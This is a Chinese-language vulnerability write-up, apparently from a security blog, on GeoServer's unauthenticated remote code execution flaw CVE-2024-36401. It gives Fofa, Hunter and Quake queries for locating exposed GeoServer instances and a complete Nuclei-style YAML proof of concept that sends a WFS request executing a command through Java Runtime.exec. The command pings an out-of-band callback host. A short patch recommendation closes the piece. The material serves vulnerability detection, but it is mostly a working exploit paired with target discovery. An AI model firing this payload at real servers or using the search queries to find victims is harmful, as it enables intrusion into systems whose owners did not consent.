漏洞介绍

❝

GeoServer 是一个开源服务允许用户共享和编辑地理空间数据。在版本 2.23.6、2.24.4 和 2.25.2 之前，多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 （RCE），因为将属性名称评估为 XPath 表达式会不安全。GeoServer 调用的 GeoTools 库 API 评估要素类型的属性/属性名称，从而不安全地将它们传递给 commons-jxpath 库，该库在评估 XPath 表达式时可以执行任意代码。

❞

资产测绘

• 「Fofa」

❝

app="GeoServer"

❞

• 「Hunter」

❝

app.name="GeoServer"

❞

• 「Quake」

❝

app="GeoServer"

❞

漏洞复现

「1、构造数据包」

「2、查看dnslog」

POC

https://github.com/onewinner/POCS/blob/main/Yaml/CVE-2024-36401-GeoServer-wfs-rce.yaml

id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
  author: god
  severity: critical
  description: GeoServer 远程代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}} -c 2")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol

修复方案

❝

• 官方已发布安全补丁，建议联系厂商打补丁或升级版本。
• 引入Web应用防火墙防护，配置接口拦截策略。

❞